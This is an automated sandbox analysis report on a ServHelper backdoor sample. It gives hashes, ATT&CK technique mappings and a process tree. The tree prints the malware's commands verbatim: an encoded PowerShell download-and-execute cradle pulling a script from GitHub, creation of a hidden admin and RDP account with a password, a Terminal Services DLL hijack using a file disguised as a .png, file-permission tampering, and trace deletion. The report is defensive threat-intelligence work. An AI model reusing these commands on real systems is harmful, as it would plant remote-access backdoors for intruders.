servhelper | 031527224e74b82bf16e639c666134674ecc8a6e648fed2f68255617bd6a3b18

Analysis

max time kernel
138s
max time network
27s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
23-12-2024 12:40

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General

Target

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
Size

4.6MB
MD5

eaee663dfeb2efcd9ec669f5622858e2
SHA1

2b96f0d568128240d0c53b2a191467fde440fd93
SHA256

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2
SHA512

211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3
SSDEEP

49152:U8+7QhuKuy4ab57x03AFPd96gUyeBW51fN4AsYfW4sAMnB4jt40bjqkNQU1:U8puFyft

Score

10^/10

servhelper backdoor defense_evasion discovery execution exploit lateral_movement persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Servhelper family
servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
1668	net.exe
552	net1.exe
2272	cmd.exe
2556	net.exe
1328	net1.exe
1356	cmd.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2724	powershell.exe
6	2724	powershell.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
1696	net1.exe
2540	cmd.exe
2120	net.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1744	icacls.exe
1624	icacls.exe
1860	icacls.exe
2084	icacls.exe
2780	takeown.exe
1472	icacls.exe
1576	icacls.exe
1740	icacls.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

pid	Process
1628	Process not Found
1628	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1624	icacls.exe
1860	icacls.exe
2084	icacls.exe
2780	takeown.exe
1472	icacls.exe
1576	icacls.exe
1740	icacls.exe
1744	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral22/files/0x000700000001c771-79.dat	upx
behavioral22/files/0x000700000001c794-80.dat	upx

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EXZGMD2D4Q0FI7XOQPR6.temp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.exe
2240	powershell.exe
2788	powershell.exe
2724	powershell.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1648	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90ce8edf3755db01	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2940	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2464	powershell.exe
2860	powershell.exe
2240	powershell.exe
2788	powershell.exe
2464	powershell.exe
2464	powershell.exe
2464	powershell.exe
2724	powershell.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
476	Process not Found
1628	Process not Found
1628	Process not Found
1628	Process not Found
1628	Process not Found
1628	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeRestorePrivilege	1576	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1648	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1648	WMIC.exe
Token: SeAuditPrivilege	1648	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1648	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1648	WMIC.exe
Token: SeAuditPrivilege	1648	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2928	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2928	WMIC.exe
Token: SeAuditPrivilege	2928	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2928	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2928	WMIC.exe
Token: SeAuditPrivilege	2928	WMIC.exe
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2464	2296	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	30
PID 2296 wrote to memory of 2464	2296	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	30
PID 2296 wrote to memory of 2464	2296	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	30
PID 2464 wrote to memory of 408	2464	powershell.exe	32
PID 2464 wrote to memory of 408	2464	powershell.exe	32
PID 2464 wrote to memory of 408	2464	powershell.exe	32
PID 408 wrote to memory of 2724	408	csc.exe	33
PID 408 wrote to memory of 2724	408	csc.exe	33
PID 408 wrote to memory of 2724	408	csc.exe	33
PID 2464 wrote to memory of 2860	2464	powershell.exe	34
PID 2464 wrote to memory of 2860	2464	powershell.exe	34
PID 2464 wrote to memory of 2860	2464	powershell.exe	34
PID 2464 wrote to memory of 2240	2464	powershell.exe	36
PID 2464 wrote to memory of 2240	2464	powershell.exe	36
PID 2464 wrote to memory of 2240	2464	powershell.exe	36
PID 2464 wrote to memory of 2788	2464	powershell.exe	38
PID 2464 wrote to memory of 2788	2464	powershell.exe	38
PID 2464 wrote to memory of 2788	2464	powershell.exe	38
PID 2464 wrote to memory of 2780	2464	powershell.exe	41
PID 2464 wrote to memory of 2780	2464	powershell.exe	41
PID 2464 wrote to memory of 2780	2464	powershell.exe	41
PID 2464 wrote to memory of 1472	2464	powershell.exe	42
PID 2464 wrote to memory of 1472	2464	powershell.exe	42
PID 2464 wrote to memory of 1472	2464	powershell.exe	42
PID 2464 wrote to memory of 1576	2464	powershell.exe	43
PID 2464 wrote to memory of 1576	2464	powershell.exe	43
PID 2464 wrote to memory of 1576	2464	powershell.exe	43
PID 2464 wrote to memory of 1740	2464	powershell.exe	44
PID 2464 wrote to memory of 1740	2464	powershell.exe	44
PID 2464 wrote to memory of 1740	2464	powershell.exe	44
PID 2464 wrote to memory of 1744	2464	powershell.exe	45
PID 2464 wrote to memory of 1744	2464	powershell.exe	45
PID 2464 wrote to memory of 1744	2464	powershell.exe	45
PID 2464 wrote to memory of 1624	2464	powershell.exe	46
PID 2464 wrote to memory of 1624	2464	powershell.exe	46
PID 2464 wrote to memory of 1624	2464	powershell.exe	46
PID 2464 wrote to memory of 1860	2464	powershell.exe	47
PID 2464 wrote to memory of 1860	2464	powershell.exe	47
PID 2464 wrote to memory of 1860	2464	powershell.exe	47
PID 2464 wrote to memory of 2084	2464	powershell.exe	48
PID 2464 wrote to memory of 2084	2464	powershell.exe	48
PID 2464 wrote to memory of 2084	2464	powershell.exe	48
PID 2464 wrote to memory of 2228	2464	powershell.exe	49
PID 2464 wrote to memory of 2228	2464	powershell.exe	49
PID 2464 wrote to memory of 2228	2464	powershell.exe	49
PID 2464 wrote to memory of 2940	2464	powershell.exe	50
PID 2464 wrote to memory of 2940	2464	powershell.exe	50
PID 2464 wrote to memory of 2940	2464	powershell.exe	50
PID 2464 wrote to memory of 2088	2464	powershell.exe	51
PID 2464 wrote to memory of 2088	2464	powershell.exe	51
PID 2464 wrote to memory of 2088	2464	powershell.exe	51
PID 2464 wrote to memory of 2348	2464	powershell.exe	52
PID 2464 wrote to memory of 2348	2464	powershell.exe	52
PID 2464 wrote to memory of 2348	2464	powershell.exe	52
PID 2348 wrote to memory of 2412	2348	net.exe	53
PID 2348 wrote to memory of 2412	2348	net.exe	53
PID 2348 wrote to memory of 2412	2348	net.exe	53
PID 2464 wrote to memory of 1224	2464	powershell.exe	54
PID 2464 wrote to memory of 1224	2464	powershell.exe	54
PID 2464 wrote to memory of 1224	2464	powershell.exe	54
PID 1224 wrote to memory of 2028	1224	cmd.exe	55
PID 1224 wrote to memory of 2028	1224	cmd.exe	55
PID 1224 wrote to memory of 2028	1224	cmd.exe	55
PID 2028 wrote to memory of 808	2028	cmd.exe	56

C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
"C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4lhorrt2.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:408
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBC3E.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBC3D.tmp"
      4⤵
      PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2788
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2780
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1472
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1744
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1624
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1860
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2084
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2228
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Modifies registry key
    PID:2940
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2088
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2412
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1224
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2028
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:808
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2196
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2360
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:2400
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:2148
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1672

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Indicator Removal: Network Share Connection Removal
PID:2540
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Indicator Removal: Network Share Connection Removal
  PID:2120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:1696

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vh8MiqYj /add
1⤵
PID:1064
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc vh8MiqYj /add
  2⤵
  PID:876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc vh8MiqYj /add
    3⤵
    PID:2352

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:1356
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:1668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:552

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:2272
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:2556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:1328

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1332
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1788

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vh8MiqYj
1⤵
PID:1800
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc vh8MiqYj
  2⤵
  PID:568
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc vh8MiqYj
    3⤵
    PID:1500

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1596
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1648

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2916
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2928

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2696
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4lhorrt2.dll

Filesize
3KB

MD5
d39b0b8232c4b11556285c95eca69996

SHA1
1c12640f4aa42846c44ff10b6720f627440d9d78

SHA256
233746850365629a01e6e9bdc3806920f34957e665618709611d2bc2202aadd3

SHA512
985c86cda5daa08169e708958ca4f38df98fac28a6b1148d15f02733bff6887ad98fd90cb47f0fe4be9abb07f1bed356dc0a4391ad3f7513513eb2ce5c841fac

Download Submit
C:\Users\Admin\AppData\Local\Temp\4lhorrt2.pdb

Filesize
7KB

MD5
4bb78c30b2f779502eb7f23c784b40db

SHA1
11cf8e1ec650ff496ef18782833f88683b5f05e8

SHA256
e018fd9ec6c9e94096be7466110afaf10ba99f3f80dd16f35d1e7f7cd870719e

SHA512
6919ce085461afc5b24138466aa2f1ae72feb33624ceeb90177f524945051da493a82a6b60e22407288ffdea42dac6aba4726aa7fe2e00bd86bfe1c4f958de48

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBC3E.tmp

Filesize
1KB

MD5
54a801e01d50f07798b7bd7b0294a85f

SHA1
b3160c5b8ef64ad62fd8cbb44ccaffefeca1870d

SHA256
8e530636de33be6341ccf3255289c48878acb9365cac8007fe34f7b737d02127

SHA512
042ff647ee0fab8cfd3c14a264eafbfa916da3aa841bf300337e04e9f85f1e659482e67988211eb9e29a209c1b47d2bfe677dc0d69892947ae6ff40dff043248

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
3447df88de7128bdc34942334b2fab98

SHA1
519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

SHA256
9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

SHA512
2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

Download Submit
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

Filesize
2.5MB

MD5
43473f4e719958639a9d89e5d8388999

SHA1
ccb79eb606a23daa4b3ff8f996a2fbf281f31491

SHA256
ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

SHA512
1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SR2C2DJKD075H58IT1TL.temp

Filesize
7KB

MD5
13693f370bb558751b11d09e50c4c2b1

SHA1
8bf8545b98c0b44cde55c7eae945787e4e01cb7a

SHA256
4d2bd3436a1af2438f0ae92b47338858e07d0ffc9b9fa3a1b7de68ced832559c

SHA512
18028190aa4a7c099f3402a6f258b71fd54b0d1c2c38d3580fc74b2158991aa0cd6de2c074f1c03fa834e9c52f9a6383ac2ee6351c30cec6ddba870aabeb9e05

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4lhorrt2.0.cs

Filesize
424B

MD5
4864fc038c0b4d61f508d402317c6e9a

SHA1
72171db3eea76ecff3f7f173b0de0d277b0fede7

SHA256
0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

SHA512
9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4lhorrt2.cmdline

Filesize
309B

MD5
38912f96ab6a05ee52d39ff2f4bc5e9f

SHA1
96aa6f7558dbee2d2ea4881670e273e5c26c9592

SHA256
f4dd865882a056c5d259b1ae7c9a11aab89dfabb499d72f85d5aabccbbd91e27

SHA512
064dd91cd2ae543b8c5d53d274a0a961b6b8f096717524b590d79ca7f701a06e99e6fe8eec16aca46a0440705d901f4f74fd8e40e4e601d830f145f1e5b9646d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCBC3D.tmp

Filesize
652B

MD5
93478c30cdc7a75b14d8512f44e2855b

SHA1
45b35067a91f0bfd6dea845c8d258c635f301601

SHA256
02b37532d0b50ca114b37146c3427a7ba4118494557ed116e22d6271a04d996e

SHA512
58d13a4d4385ea7262fc16e9959394b74ba14ac7c979c2cd597db0753a2883379356952041f806f285b8f67beea2ac14769776cbba6b67a25c682b1d365d9031

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
271eacd9c9ec8531912e043bc9c58a31

SHA1
c86e20c2a10fd5c5bae4910a73fd62008d41233b

SHA256
177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

SHA512
87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
1fa9c1e185a51b6ed443dd782b880b0d

SHA1
50145abf336a196183882ef960d285bd77dd3490

SHA256
f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

SHA512
16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

Download Submit
memory/2296-57-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

Filesize
9.9MB

Download
memory/2296-5-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

Filesize
9.9MB

Download
